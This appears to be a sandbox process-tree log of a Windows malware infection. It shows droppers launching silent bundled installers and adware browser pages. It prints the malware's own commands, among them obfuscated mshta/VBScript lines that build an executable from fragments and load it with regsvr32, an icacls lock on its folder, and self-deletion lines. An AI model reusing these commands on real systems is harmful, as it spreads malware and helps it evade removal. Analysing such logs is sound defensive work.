C:\Windows\explorer.exe
1⤵
PID:2432

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1844

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1072

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1948

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3052

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1980

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2348

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2060

C:\Windows\system32\taskeng.exe
taskeng.exe {3B944C6E-48B9-4DEF-B2FD-02882763A24A} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
1⤵
PID:1812
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:992
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:2532
- C:\Users\Admin\AppData\Roaming\sgefbti
  C:\Users\Admin\AppData\Roaming\sgefbti
  2⤵
  PID:2328
- - C:\Users\Admin\AppData\Roaming\sgefbti
    C:\Users\Admin\AppData\Roaming\sgefbti
    3⤵
    PID:2876
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:1964
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:2844
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:1100
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:2916
- C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe
  C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe --Task
  2⤵
  PID:2184
- - C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe
    C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe --Task
    3⤵
    PID:3476
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:2524
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:3712
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:2968
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:3868
- C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe
  C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe --Task
  2⤵
  PID:3060
- - C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe
    C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe --Task
    3⤵
    PID:2968
- C:\Users\Admin\AppData\Roaming\atefbti
  C:\Users\Admin\AppData\Roaming\atefbti
  2⤵
  PID:3832
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:3436
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:3432
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:4156
- C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe
  C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0\E4FB.exe --Task
  2⤵
  PID:1604
- C:\Users\Admin\AppData\Local\Temp\80D8.exe
  C:\Users\Admin\AppData\Local\Temp\80D8.exe
  2⤵
  PID:4352

C:\Users\Admin\AppData\Local\Temp\E4FB.exe
C:\Users\Admin\AppData\Local\Temp\E4FB.exe
1⤵
PID:2624
- C:\Users\Admin\AppData\Local\Temp\E4FB.exe
  C:\Users\Admin\AppData\Local\Temp\E4FB.exe
  2⤵
  PID:2428
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\29846040-a4c1-40bc-90fe-e7b98f9dd5e0" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2940
- - C:\Users\Admin\AppData\Local\Temp\E4FB.exe
    "C:\Users\Admin\AppData\Local\Temp\E4FB.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:1064
  - - C:\Users\Admin\AppData\Local\Temp\E4FB.exe
      "C:\Users\Admin\AppData\Local\Temp\E4FB.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:2892
    - - C:\Users\Admin\AppData\Local\3d2154af-4861-4d8f-8fed-6d5ed1d599f9\build2.exe
        
        "C:\Users\Admin\AppData\Local\3d2154af-4861-4d8f-8fed-6d5ed1d599f9\build2.exe"
        5⤵
        
        PID:3012
      - C:\Users\Admin\AppData\Local\3d2154af-4861-4d8f-8fed-6d5ed1d599f9\build2.exe
        
        "C:\Users\Admin\AppData\Local\3d2154af-4861-4d8f-8fed-6d5ed1d599f9\build2.exe"
        6⤵
        
        PID:2424
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\3d2154af-4861-4d8f-8fed-6d5ed1d599f9\build2.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:2292
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im build2.exe /f
        8⤵
        Kills process with taskkill
        
        PID:1940
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:2588

C:\Users\Admin\AppData\Local\Temp\345.exe
C:\Users\Admin\AppData\Local\Temp\345.exe
1⤵
PID:3060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im 345.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\345.exe" & del C:\ProgramData\*.dll & exit
  2⤵
  PID:2176
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im 345.exe /f
    3⤵
    - Kills process with taskkill
    PID:2072
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 6
    3⤵
    - Delays execution with timeout.exe
    PID:948

C:\Users\Admin\AppData\Local\Temp\27A7.exe
C:\Users\Admin\AppData\Local\Temp\27A7.exe
1⤵
PID:680
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" VbsCRIPt: Close ( CREATeObjECT( "wsCRIpT.ShElL" ). RUn ( "cmd.exe /Q /c tyPE ""C:\Users\Admin\AppData\Local\Temp\27A7.exe"" > wiZC_h7~B.eXE &&STaRT wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t & If """" == """" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\27A7.exe"" ) do taskkill /Im ""%~nxE"" -F " , 0, TRue ) )
  2⤵
  PID:1732
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /Q /c tyPE "C:\Users\Admin\AppData\Local\Temp\27A7.exe" > wiZC_h7~B.eXE &&STaRT wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t & If "" == "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\27A7.exe" ) do taskkill /Im "%~nxE" -F
    3⤵
    PID:1956
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /Im "27A7.exe" -F
      4⤵
      Kills process with taskkill
      PID:2476
  - - C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE
      wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t
      4⤵
      PID:2456
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRIPt: Close ( CREATeObjECT( "wsCRIpT.ShElL" ). RUn ( "cmd.exe /Q /c tyPE ""C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE"" > wiZC_h7~B.eXE &&STaRT wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t & If ""/PgRbPZTUXQ3fqTxJ5RJVzdoK5t "" == """" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE"" ) do taskkill /Im ""%~nxE"" -F " , 0, TRue ) )
        5⤵
        
        PID:1152
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /c tyPE "C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE" > wiZC_h7~B.eXE &&STaRT wIZC_h7~B.eXe /PgRbPZTUXQ3fqTxJ5RJVzdoK5t & If "/PgRbPZTUXQ3fqTxJ5RJVzdoK5t " == "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\wiZC_h7~B.eXE" ) do taskkill /Im "%~nxE" -F
        6⤵
        
        PID:1800
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBScRIpt: clOSE ( CReatEObjecT ("WSCRipt.ShElL"). RUN( "C:\Windows\system32\cmd.exe /q /C eCHO fx46oC:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\WindowsPowerShell\v1.0\g9q> fHUZ28V.I0 & ECho | sET /p = ""MZ"" > PD~PO.Fu& Copy /y /B PD~PO.FU + 7KUTL.Vbk + FDiJ.1V + ShUJ.ChH +fHuZ28V.I0 m9HEkzA.2 & sTArT regsvr32.exe /U -S m9HEkZA.2 " , 0, TrUE) )
        5⤵
        
        PID:2748

C:\Users\Admin\AppData\Local\Temp\5887.exe
C:\Users\Admin\AppData\Local\Temp\5887.exe
1⤵
PID:1596
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1596 -s 184
  2⤵
  - Program crash
  PID:2148

C:\Users\Admin\AppData\Local\Temp\ACFE.exe
C:\Users\Admin\AppData\Local\Temp\ACFE.exe
1⤵
PID:856
- C:\Users\Admin\AppData\Local\Temp\is-ATSVU.tmp\ACFE.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-ATSVU.tmp\ACFE.tmp" /SL5="$30252,172303,88576,C:\Users\Admin\AppData\Local\Temp\ACFE.exe"
  2⤵
  PID:2444
- - C:\Users\Admin\AppData\Local\Temp\is-G2DPB.tmp\èeèrgegdè_éçè_)))_.exe
    "C:\Users\Admin\AppData\Local\Temp\is-G2DPB.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=rec7
    3⤵
    PID:2760
  - - C:\Program Files\Windows Mail\AZYSTNVNDL\irecord.exe
      "C:\Program Files\Windows Mail\AZYSTNVNDL\irecord.exe" /VERYSILENT
      4⤵
      PID:2872
    - - C:\Users\Admin\AppData\Local\Temp\is-JDVTI.tmp\irecord.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-JDVTI.tmp\irecord.tmp" /SL5="$50282,5808768,66560,C:\Program Files\Windows Mail\AZYSTNVNDL\irecord.exe" /VERYSILENT
        5⤵
        
        PID:1468
      - C:\Program Files (x86)\i-record\I-Record.exe
        
        "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
        6⤵
        
        PID:1112
  - - C:\Users\Admin\AppData\Local\Temp\e7-4650b-ac4-b7a93-d7d0372da124b\Lycukyfisu.exe
      "C:\Users\Admin\AppData\Local\Temp\e7-4650b-ac4-b7a93-d7d0372da124b\Lycukyfisu.exe"
      4⤵
      PID:1672
    - - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        5⤵
        
        PID:520
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:520 CREDAT:275457 /prefetch:2
        6⤵
        
        PID:1860
        
        C:\Users\Admin\AppData\Local\Temp\260446227.exe
        
        "C:\Users\Admin\AppData\Local\Temp\260446227.exe"
        7⤵
        
        PID:3540
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:520 CREDAT:668698 /prefetch:2
        6⤵
        
        PID:3576
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:520 CREDAT:340994 /prefetch:2
        6⤵
        
        PID:3568
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:520 CREDAT:734227 /prefetch:2
        6⤵
        
        PID:2184
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:520 CREDAT:2372629 /prefetch:2
        6⤵
        
        PID:3288
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:520 CREDAT:1193042 /prefetch:2
        6⤵
        
        PID:3112
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:520 CREDAT:2438208 /prefetch:2
        6⤵
        
        PID:3928
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:520 CREDAT:3552305 /prefetch:2
        6⤵
        
        PID:3968
    - - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        5⤵
        
        PID:3560
    - - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
        5⤵
        
        PID:4108
    - - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851513
        5⤵
        
        PID:2112
  - - C:\Users\Admin\AppData\Local\Temp\50-702ab-524-6148f-bde49b38cd282\Kaemeshizhaera.exe
      "C:\Users\Admin\AppData\Local\Temp\50-702ab-524-6148f-bde49b38cd282\Kaemeshizhaera.exe"
      4⤵
      PID:1680
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\05opmels.his\GcleanerEU.exe /eufive & exit
        5⤵
        
        PID:3260
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sc5najky.2it\installer.exe /qn CAMPAIGN="654" & exit
        5⤵
        
        PID:3324
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\41iugnje.bqk\Setup3310.exe /Verysilent /subid=623 & exit
        5⤵
        
        PID:3404
      - C:\Users\Admin\AppData\Local\Temp\41iugnje.bqk\Setup3310.exe
        
        C:\Users\Admin\AppData\Local\Temp\41iugnje.bqk\Setup3310.exe /Verysilent /subid=623
        6⤵
        
        PID:3112
        
        C:\Users\Admin\AppData\Local\Temp\is-O0REJ.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-O0REJ.tmp\Setup3310.tmp" /SL5="$203C6,138429,56832,C:\Users\Admin\AppData\Local\Temp\41iugnje.bqk\Setup3310.exe" /Verysilent /subid=623
        7⤵
        
        PID:3484
        
        C:\Users\Admin\AppData\Local\Temp\is-SDOFP.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-SDOFP.tmp\Setup.exe" /Verysilent
        8⤵
        
        PID:3916
        
        C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
        9⤵
        
        PID:2592
        
        C:\Users\Admin\AppData\Local\Temp\is-BI60J.tmp\MediaBurner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BI60J.tmp\MediaBurner.tmp" /SL5="$E0432,303887,220160,C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
        10⤵
        
        PID:3780
        
        C:\Users\Admin\AppData\Local\Temp\is-OF6CD.tmp\_____________bob.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-OF6CD.tmp\_____________bob.exe" /S /UID=burnerch1
        11⤵
        
        PID:1080
        
        C:\Program Files\Microsoft Office\FECPAKIMLJ\ultramediaburner.exe
        
        "C:\Program Files\Microsoft Office\FECPAKIMLJ\ultramediaburner.exe" /VERYSILENT
        12⤵
        
        PID:4828
        
        C:\Users\Admin\AppData\Local\Temp\is-25S4A.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-25S4A.tmp\ultramediaburner.tmp" /SL5="$703D4,281924,62464,C:\Program Files\Microsoft Office\FECPAKIMLJ\ultramediaburner.exe" /VERYSILENT
        13⤵
        
        PID:4844
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        14⤵
        
        PID:4900
        
        C:\Users\Admin\AppData\Local\Temp\f8-063e2-025-2dda4-a08e1624ad936\ZHeqitacemi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\f8-063e2-025-2dda4-a08e1624ad936\ZHeqitacemi.exe"
        12⤵
        
        PID:4836
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        13⤵
        
        PID:5028
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5028 CREDAT:275457 /prefetch:2
        14⤵
        
        PID:6100
        
        C:\Users\Admin\AppData\Local\Temp\cc-66390-5fd-5b39c-007b34f318c76\Xilepopaemae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cc-66390-5fd-5b39c-007b34f318c76\Xilepopaemae.exe"
        12⤵
        
        PID:4928
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\r2i5uc3t.erz\GcleanerEU.exe /eufive & exit
        13⤵
        
        PID:5260
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5ed4c1ay.tiz\installer.exe /qn CAMPAIGN="654" & exit
        13⤵
        
        PID:5388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2watm4d4.pkn\Setup3310.exe /Verysilent /subid=623 & exit
        13⤵
        
        PID:5584
        
        C:\Users\Admin\AppData\Local\Temp\2watm4d4.pkn\Setup3310.exe
        
        C:\Users\Admin\AppData\Local\Temp\2watm4d4.pkn\Setup3310.exe /Verysilent /subid=623
        14⤵
        
        PID:5700
        
        C:\Users\Admin\AppData\Local\Temp\is-T9VD2.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-T9VD2.tmp\Setup3310.tmp" /SL5="$10776,138429,56832,C:\Users\Admin\AppData\Local\Temp\2watm4d4.pkn\Setup3310.exe" /Verysilent /subid=623
        15⤵
        
        PID:5804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f3npvofd.wzz\google-game.exe & exit
        13⤵
        
        PID:5920
        
        C:\Users\Admin\AppData\Local\Temp\f3npvofd.wzz\google-game.exe
        
        C:\Users\Admin\AppData\Local\Temp\f3npvofd.wzz\google-game.exe
        14⤵
        
        PID:4292
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nywut1a2.jqa\toolspab1.exe & exit
        13⤵
        
        PID:3076
        
        C:\Users\Admin\AppData\Local\Temp\nywut1a2.jqa\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\nywut1a2.jqa\toolspab1.exe
        14⤵
        
        PID:3976
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bqrmfgqo.ljw\SunLabsPlayer.exe /S & exit
        13⤵
        
        PID:1956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lontsprt.mbn\GcleanerWW.exe /mixone & exit
        13⤵
        
        PID:4256
        
        C:\Program Files (x86)\Data Finder\Versium Research\app.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\app.exe"
        9⤵
        
        PID:3408
        
        C:\Program Files (x86)\Data Finder\Versium Research\app.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\app.exe"
        10⤵
        
        PID:3924
        
        C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"
        9⤵
        
        PID:3440
        
        C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
        9⤵
        
        PID:3500
        
        C:\Users\Admin\AppData\Local\Temp\is-QOE4D.tmp\LabPicV3.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QOE4D.tmp\LabPicV3.tmp" /SL5="$2053A,506127,422400,C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
        10⤵
        
        PID:3452
        
        C:\Users\Admin\AppData\Local\Temp\is-PB2CJ.tmp\12(((((.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-PB2CJ.tmp\12(((((.exe" /S /UID=lab214
        11⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\c2-75d21-bef-324bc-a368f32a60083\SHaecirijosu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c2-75d21-bef-324bc-a368f32a60083\SHaecirijosu.exe"
        12⤵
        
        PID:4920
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        13⤵
        
        PID:4140
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4140 CREDAT:275457 /prefetch:2
        14⤵
        
        PID:6004
        
        C:\Users\Admin\AppData\Local\Temp\ac-c2b0e-a59-57b87-fadd692ee9304\Celuletalu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ac-c2b0e-a59-57b87-fadd692ee9304\Celuletalu.exe"
        12⤵
        
        PID:4968
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cdb2gal1.4wr\GcleanerEU.exe /eufive & exit
        13⤵
        
        PID:5296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3phtpgpx.50h\installer.exe /qn CAMPAIGN="654" & exit
        13⤵
        
        PID:5432
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vuytgdcx.514\Setup3310.exe /Verysilent /subid=623 & exit
        13⤵
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\vuytgdcx.514\Setup3310.exe
        
        C:\Users\Admin\AppData\Local\Temp\vuytgdcx.514\Setup3310.exe /Verysilent /subid=623
        14⤵
        
        PID:5888
        
        C:\Users\Admin\AppData\Local\Temp\is-P7EKG.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-P7EKG.tmp\Setup3310.tmp" /SL5="$10828,138429,56832,C:\Users\Admin\AppData\Local\Temp\vuytgdcx.514\Setup3310.exe" /Verysilent /subid=623
        15⤵
        
        PID:5980
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pkvubfst.tmw\google-game.exe & exit
        13⤵
        
        PID:5928
        
        C:\Users\Admin\AppData\Local\Temp\pkvubfst.tmw\google-game.exe
        
        C:\Users\Admin\AppData\Local\Temp\pkvubfst.tmw\google-game.exe
        14⤵
        
        PID:5088
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nsmwkecj.el2\toolspab1.exe & exit
        13⤵
        
        PID:5156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\so1fwipu.fp3\SunLabsPlayer.exe /S & exit
        13⤵
        
        PID:4168
        
        C:\Program Files\Mozilla Firefox\QIGFNRZOPJ\prolab.exe
        
        "C:\Program Files\Mozilla Firefox\QIGFNRZOPJ\prolab.exe" /VERYSILENT
        12⤵
        
        PID:4860
        
        C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe
        
        "C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
        9⤵
        
        PID:3764
        
        C:\Users\Admin\AppData\Local\Temp\is-0J1LQ.tmp\lylal220.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-0J1LQ.tmp\lylal220.tmp" /SL5="$30504,172303,88576,C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
        10⤵
        
        PID:3516
        
        C:\Users\Admin\AppData\Local\Temp\is-OJEKE.tmp\èeèrgegdè_éçè_)))_.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-OJEKE.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=lylal220
        11⤵
        
        PID:4176
        
        C:\Program Files\Windows Portable Devices\MCWNMKJWLU\irecord.exe
        
        "C:\Program Files\Windows Portable Devices\MCWNMKJWLU\irecord.exe" /VERYSILENT
        12⤵
        
        PID:2100
        
        C:\Users\Admin\AppData\Local\Temp\is-3M5JE.tmp\irecord.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3M5JE.tmp\irecord.tmp" /SL5="$2058A,5808768,66560,C:\Program Files\Windows Portable Devices\MCWNMKJWLU\irecord.exe" /VERYSILENT
        13⤵
        
        PID:4076
        
        C:\Program Files (x86)\i-record\I-Record.exe
        
        "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
        14⤵
        
        PID:3760
        
        C:\Users\Admin\AppData\Local\Temp\23-2716b-921-4d4a6-6028f23133ade\Qijuqemiqae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\23-2716b-921-4d4a6-6028f23133ade\Qijuqemiqae.exe"
        12⤵
        
        PID:2832
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        13⤵
        
        PID:4040
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4040 CREDAT:275457 /prefetch:2
        14⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\c4-aa77b-1a7-4179c-53bc7ee450917\Rygahulasu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c4-aa77b-1a7-4179c-53bc7ee450917\Rygahulasu.exe"
        12⤵
        
        PID:2588
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1qv4qvs4.suz\GcleanerEU.exe /eufive & exit
        13⤵
        
        PID:5276
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hzmfbwbn.ql4\installer.exe /qn CAMPAIGN="654" & exit
        13⤵
        
        PID:5416
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\offbbvir.mpx\Setup3310.exe /Verysilent /subid=623 & exit
        13⤵
        
        PID:5604
        
        C:\Users\Admin\AppData\Local\Temp\offbbvir.mpx\Setup3310.exe
        
        C:\Users\Admin\AppData\Local\Temp\offbbvir.mpx\Setup3310.exe /Verysilent /subid=623
        14⤵
        
        PID:5736
        
